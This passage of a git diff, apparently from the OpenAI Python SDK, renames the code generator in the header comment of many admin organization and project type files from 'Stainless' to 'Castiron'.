from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/invite_list_params.py b/src/openai/types/admin/organization/invite_list_params.py
index 678510d655..7be8e8b684 100644
--- a/src/openai/types/admin/organization/invite_list_params.py
+++ b/src/openai/types/admin/organization/invite_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/organization_data_retention.py b/src/openai/types/admin/organization/organization_data_retention.py
index 0022094f69..e7fe5da2c2 100644
--- a/src/openai/types/admin/organization/organization_data_retention.py
+++ b/src/openai/types/admin/organization/organization_data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/organization_spend_alert.py b/src/openai/types/admin/organization/organization_spend_alert.py
index a541926a01..50772430dc 100644
--- a/src/openai/types/admin/organization/organization_spend_alert.py
+++ b/src/openai/types/admin/organization/organization_spend_alert.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/organization_spend_alert_deleted.py b/src/openai/types/admin/organization/organization_spend_alert_deleted.py
index 74fab027ee..04ab4e4a61 100644
--- a/src/openai/types/admin/organization/organization_spend_alert_deleted.py
+++ b/src/openai/types/admin/organization/organization_spend_alert_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/organization_spend_limit.py b/src/openai/types/admin/organization/organization_spend_limit.py
index 89de914d27..3c4197b62f 100644
--- a/src/openai/types/admin/organization/organization_spend_limit.py
+++ b/src/openai/types/admin/organization/organization_spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/organization_spend_limit_deleted.py b/src/openai/types/admin/organization/organization_spend_limit_deleted.py
index 2ded2abedf..6bd77d2dc0 100644
--- a/src/openai/types/admin/organization/organization_spend_limit_deleted.py
+++ b/src/openai/types/admin/organization/organization_spend_limit_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/organization_user.py b/src/openai/types/admin/organization/organization_user.py
index 3d1d43a8b6..845237162b 100644
--- a/src/openai/types/admin/organization/organization_user.py
+++ b/src/openai/types/admin/organization/organization_user.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/project.py b/src/openai/types/admin/organization/project.py
index 982bb1e4b3..0cda800aad 100644
--- a/src/openai/types/admin/organization/project.py
+++ b/src/openai/types/admin/organization/project.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/project_create_params.py b/src/openai/types/admin/organization/project_create_params.py
index a4b7b2d424..9a750d86cc 100644
--- a/src/openai/types/admin/organization/project_create_params.py
+++ b/src/openai/types/admin/organization/project_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/project_list_params.py b/src/openai/types/admin/organization/project_list_params.py
index f55fb8a392..3f4c96507f 100644
--- a/src/openai/types/admin/organization/project_list_params.py
+++ b/src/openai/types/admin/organization/project_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/project_update_params.py b/src/openai/types/admin/organization/project_update_params.py
index 2ebdd09f4a..fae8147acf 100644
--- a/src/openai/types/admin/organization/project_update_params.py
+++ b/src/openai/types/admin/organization/project_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/__init__.py b/src/openai/types/admin/organization/projects/__init__.py
index f92f701b50..a067cf62cb 100644
--- a/src/openai/types/admin/organization/projects/__init__.py
+++ b/src/openai/types/admin/organization/projects/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/api_key_delete_response.py b/src/openai/types/admin/organization/projects/api_key_delete_response.py
index 253a6746ba..59e334706b 100644
--- a/src/openai/types/admin/organization/projects/api_key_delete_response.py
+++ b/src/openai/types/admin/organization/projects/api_key_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/api_key_list_params.py b/src/openai/types/admin/organization/projects/api_key_list_params.py
index b83f655a1b..a4f49e2e95 100644
--- a/src/openai/types/admin/organization/projects/api_key_list_params.py
+++ b/src/openai/types/admin/organization/projects/api_key_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/certificate_activate_params.py b/src/openai/types/admin/organization/projects/certificate_activate_params.py
index a0e7cd20e8..22d08c1803 100644
--- a/src/openai/types/admin/organization/projects/certificate_activate_params.py
+++ b/src/openai/types/admin/organization/projects/certificate_activate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/certificate_activate_response.py b/src/openai/types/admin/organization/projects/certificate_activate_response.py
index 4ee8ae07f4..140fa8b122 100644
--- a/src/openai/types/admin/organization/projects/certificate_activate_response.py
+++ b/src/openai/types/admin/organization/projects/certificate_activate_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/certificate_deactivate_params.py b/src/openai/types/admin/organization/projects/certificate_deactivate_params.py
index 75c32708ba..fc18d25ecc 100644
--- a/src/openai/types/admin/organization/projects/certificate_deactivate_params.py
+++ b/src/openai/types/admin/organization/projects/certificate_deactivate_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/certificate_deactivate_response.py b/src/openai/types/admin/organization/projects/certificate_deactivate_response.py
index 846c7a2ab7..2734111d62 100644
--- a/src/openai/types/admin/organization/projects/certificate_deactivate_response.py
+++ b/src/openai/types/admin/organization/projects/certificate_deactivate_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/certificate_list_params.py b/src/openai/types/admin/organization/projects/certificate_list_params.py
index 1d9aff4b4a..b215769e2a 100644
--- a/src/openai/types/admin/organization/projects/certificate_list_params.py
+++ b/src/openai/types/admin/organization/projects/certificate_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/certificate_list_response.py b/src/openai/types/admin/organization/projects/certificate_list_response.py
index d4345b3b8c..497cdf17d5 100644
--- a/src/openai/types/admin/organization/projects/certificate_list_response.py
+++ b/src/openai/types/admin/organization/projects/certificate_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/data_retention_update_params.py b/src/openai/types/admin/organization/projects/data_retention_update_params.py
index e7291d207a..6c42f947e2 100644
--- a/src/openai/types/admin/organization/projects/data_retention_update_params.py
+++ b/src/openai/types/admin/organization/projects/data_retention_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/group_create_params.py b/src/openai/types/admin/organization/projects/group_create_params.py
index b9f4626d74..fb1a3bd624 100644
--- a/src/openai/types/admin/organization/projects/group_create_params.py
+++ b/src/openai/types/admin/organization/projects/group_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/group_delete_response.py b/src/openai/types/admin/organization/projects/group_delete_response.py
index ef1ce0ddb8..d903b7794a 100644
--- a/src/openai/types/admin/organization/projects/group_delete_response.py
+++ b/src/openai/types/admin/organization/projects/group_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/group_list_params.py b/src/openai/types/admin/organization/projects/group_list_params.py
index 26ab31a88b..be74bbedac 100644
--- a/src/openai/types/admin/organization/projects/group_list_params.py
+++ b/src/openai/types/admin/organization/projects/group_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/group_retrieve_params.py b/src/openai/types/admin/organization/projects/group_retrieve_params.py
index 084f345f43..342ed2f5a5 100644
--- a/src/openai/types/admin/organization/projects/group_retrieve_params.py
+++ b/src/openai/types/admin/organization/projects/group_retrieve_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/groups/__init__.py b/src/openai/types/admin/organization/projects/groups/__init__.py
index 5e67517593..8e592ec17b 100644
--- a/src/openai/types/admin/organization/projects/groups/__init__.py
+++ b/src/openai/types/admin/organization/projects/groups/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/groups/role_create_params.py b/src/openai/types/admin/organization/projects/groups/role_create_params.py
index 2aba01e8a4..df4a8ede6d 100644
--- a/src/openai/types/admin/organization/projects/groups/role_create_params.py
+++ b/src/openai/types/admin/organization/projects/groups/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/groups/role_create_response.py b/src/openai/types/admin/organization/projects/groups/role_create_response.py
index c6e7a1c048..2e7729af69 100644
--- a/src/openai/types/admin/organization/projects/groups/role_create_response.py
+++ b/src/openai/types/admin/organization/projects/groups/role_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/groups/role_delete_response.py b/src/openai/types/admin/organization/projects/groups/role_delete_response.py
index 704de05117..66c7beafab 100644
--- a/src/openai/types/admin/organization/projects/groups/role_delete_response.py
+++ b/src/openai/types/admin/organization/projects/groups/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ......_models import BaseModel
diff --git a/src/openai/types/admin/organization/projects/groups/role_list_params.py b/src/openai/types/admin/organization/projects/groups/role_list_params.py
index ffdbe210d2..9681c93316 100644
--- a/src/openai/types/admin/organization/projects/groups/role_list_params.py
+++ b/src/openai/types/admin/organization/projects/groups/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/groups/role_list_response.py b/src/openai/types/admin/organization/projects/groups/role_list_response.py
index d43d0f806b..f5ed0b9ad5 100644
--- a/src/openai/types/admin/organization/projects/groups/role_list_response.py
+++ b/src/openai/types/admin/organization/projects/groups/role_list_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/projects/groups/role_retrieve_response.py b/src/openai/types/admin/organization/projects/groups/role_retrieve_response.py
index 0c10cf0092..8f7e6f0784 100644
--- a/src/openai/types/admin/organization/projects/groups/role_retrieve_response.py
+++ b/src/openai/types/admin/organization/projects/groups/role_retrieve_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Dict, List, Optional
diff --git a/src/openai/types/admin/organization/projects/hosted_tool_permission_update_params.py b/src/openai/types/admin/organization/projects/hosted_tool_permission_update_params.py
index e14f03741f..93e71dd5c1 100644
--- a/src/openai/types/admin/organization/projects/hosted_tool_permission_update_params.py
+++ b/src/openai/types/admin/organization/projects/hosted_tool_permission_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/model_permission_update_params.py b/src/openai/types/admin/organization/projects/model_permission_update_params.py
index bf7cb1d56c..f1dc25f287 100644
--- a/src/openai/types/admin/organization/projects/model_permission_update_params.py
+++ b/src/openai/types/admin/organization/projects/model_permission_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/project_api_key.py b/src/openai/types/admin/organization/projects/project_api_key.py
index ba08335b39..88df839d52 100644
--- a/src/openai/types/admin/organization/projects/project_api_key.py
+++ b/src/openai/types/admin/organization/projects/project_api_key.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_data_retention.py b/src/openai/types/admin/organization/projects/project_data_retention.py
index 30329e60f4..fbc590493b 100644
--- a/src/openai/types/admin/organization/projects/project_data_retention.py
+++ b/src/openai/types/admin/organization/projects/project_data_retention.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_group.py b/src/openai/types/admin/organization/projects/project_group.py
index 4efb29f91e..c5c2d74ce9 100644
--- a/src/openai/types/admin/organization/projects/project_group.py
+++ b/src/openai/types/admin/organization/projects/project_group.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_hosted_tool_permissions.py b/src/openai/types/admin/organization/projects/project_hosted_tool_permissions.py
index e89ed18af0..4488a848a9 100644
--- a/src/openai/types/admin/organization/projects/project_hosted_tool_permissions.py
+++ b/src/openai/types/admin/organization/projects/project_hosted_tool_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from ....._models import BaseModel
diff --git a/src/openai/types/admin/organization/projects/project_model_permissions.py b/src/openai/types/admin/organization/projects/project_model_permissions.py
index 597ae4e257..b2c4ab14b3 100644
--- a/src/openai/types/admin/organization/projects/project_model_permissions.py
+++ b/src/openai/types/admin/organization/projects/project_model_permissions.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_model_permissions_deleted.py b/src/openai/types/admin/organization/projects/project_model_permissions_deleted.py
index cb3972dce8..34f3afcaf1 100644
--- a/src/openai/types/admin/organization/projects/project_model_permissions_deleted.py
+++ b/src/openai/types/admin/organization/projects/project_model_permissions_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_rate_limit.py b/src/openai/types/admin/organization/projects/project_rate_limit.py
index 46ff1ef036..50fb117a75 100644
--- a/src/openai/types/admin/organization/projects/project_rate_limit.py
+++ b/src/openai/types/admin/organization/projects/project_rate_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_service_account.py b/src/openai/types/admin/organization/projects/project_service_account.py
index 9082bc72ce..ea66af456b 100644
--- a/src/openai/types/admin/organization/projects/project_service_account.py
+++ b/src/openai/types/admin/organization/projects/project_service_account.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_spend_alert.py b/src/openai/types/admin/organization/projects/project_spend_alert.py
index 269ea54db5..e579f4caa5 100644
--- a/src/openai/types/admin/organization/projects/project_spend_alert.py
+++ b/src/openai/types/admin/organization/projects/project_spend_alert.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import List, Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_spend_alert_deleted.py b/src/openai/types/admin/organization/projects/project_spend_alert_deleted.py
index 68be581307..76f1d86cb3 100644
--- a/src/openai/types/admin/organization/projects/project_spend_alert_deleted.py
+++ b/src/openai/types/admin/organization/projects/project_spend_alert_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_spend_limit.py b/src/openai/types/admin/organization/projects/project_spend_limit.py
index 99971d727c..cc69598a8b 100644
--- a/src/openai/types/admin/organization/projects/project_spend_limit.py
+++ b/src/openai/types/admin/organization/projects/project_spend_limit.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Union
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_spend_limit_deleted.py b/src/openai/types/admin/organization/projects/project_spend_limit_deleted.py
index c6dcc55550..3944756b6b 100644
--- a/src/openai/types/admin/organization/projects/project_spend_limit_deleted.py
+++ b/src/openai/types/admin/organization/projects/project_spend_limit_deleted.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/project_user.py b/src/openai/types/admin/organization/projects/project_user.py
index 7aaa9fc05b..199b38769f 100644
--- a/src/openai/types/admin/organization/projects/project_user.py
+++ b/src/openai/types/admin/organization/projects/project_user.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/rate_limit_list_rate_limits_params.py b/src/openai/types/admin/organization/projects/rate_limit_list_rate_limits_params.py
index 198fe94f19..dfb73d4050 100644
--- a/src/openai/types/admin/organization/projects/rate_limit_list_rate_limits_params.py
+++ b/src/openai/types/admin/organization/projects/rate_limit_list_rate_limits_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/rate_limit_update_rate_limit_params.py b/src/openai/types/admin/organization/projects/rate_limit_update_rate_limit_params.py
index 5d5e515515..058b6bf72b 100644
--- a/src/openai/types/admin/organization/projects/rate_limit_update_rate_limit_params.py
+++ b/src/openai/types/admin/organization/projects/rate_limit_update_rate_limit_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/role_create_params.py b/src/openai/types/admin/organization/projects/role_create_params.py
index e05c8c8a63..bb1178b879 100644
--- a/src/openai/types/admin/organization/projects/role_create_params.py
+++ b/src/openai/types/admin/organization/projects/role_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/role_delete_response.py b/src/openai/types/admin/organization/projects/role_delete_response.py
index 87fa8e6200..9600be312f 100644
--- a/src/openai/types/admin/organization/projects/role_delete_response.py
+++ b/src/openai/types/admin/organization/projects/role_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/role_list_params.py b/src/openai/types/admin/organization/projects/role_list_params.py
index 88e957f886..2257ed3a97 100644
--- a/src/openai/types/admin/organization/projects/role_list_params.py
+++ b/src/openai/types/admin/organization/projects/role_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/role_update_params.py b/src/openai/types/admin/organization/projects/role_update_params.py
index 4d440c87cd..057c9c9a8d 100644
--- a/src/openai/types/admin/organization/projects/role_update_params.py
+++ b/src/openai/types/admin/organization/projects/role_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_account_create_params.py b/src/openai/types/admin/organization/projects/service_account_create_params.py
index 0eab9bbb3a..a156f70f51 100644
--- a/src/openai/types/admin/organization/projects/service_account_create_params.py
+++ b/src/openai/types/admin/organization/projects/service_account_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_account_create_response.py b/src/openai/types/admin/organization/projects/service_account_create_response.py
index 56494e16f9..eadfadebf3 100644
--- a/src/openai/types/admin/organization/projects/service_account_create_response.py
+++ b/src/openai/types/admin/organization/projects/service_account_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing import Optional
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/service_account_delete_response.py b/src/openai/types/admin/organization/projects/service_account_delete_response.py
index e67e635aab..b3d88f5b73 100644
--- a/src/openai/types/admin/organization/projects/service_account_delete_response.py
+++ b/src/openai/types/admin/organization/projects/service_account_delete_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/service_account_list_params.py b/src/openai/types/admin/organization/projects/service_account_list_params.py
index 7f808e285a..c8e400ccf0 100644
--- a/src/openai/types/admin/organization/projects/service_account_list_params.py
+++ b/src/openai/types/admin/organization/projects/service_account_list_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_account_update_params.py b/src/openai/types/admin/organization/projects/service_account_update_params.py
index 852e5d5a5a..2d0c38c18b 100644
--- a/src/openai/types/admin/organization/projects/service_account_update_params.py
+++ b/src/openai/types/admin/organization/projects/service_account_update_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_accounts/__init__.py b/src/openai/types/admin/organization/projects/service_accounts/__init__.py
index 25cc033b2e..0433f31894 100644
--- a/src/openai/types/admin/organization/projects/service_accounts/__init__.py
+++ b/src/openai/types/admin/organization/projects/service_accounts/__init__.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
index 1f385f110c..adeaf17ee5 100644
--- a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
+++ b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_params.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
index 42e8e2f903..b7463b0c23 100644
--- a/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
+++ b/src/openai/types/admin/organization/projects/service_accounts/api_key_create_response.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from typing_extensions import Literal
diff --git a/src/openai/types/admin/organization/projects/spend_alert_create_params.py b/src/openai/types/admin/organization/projects/spend_alert_create_params.py
index 74914d8646..11fb371077 100644
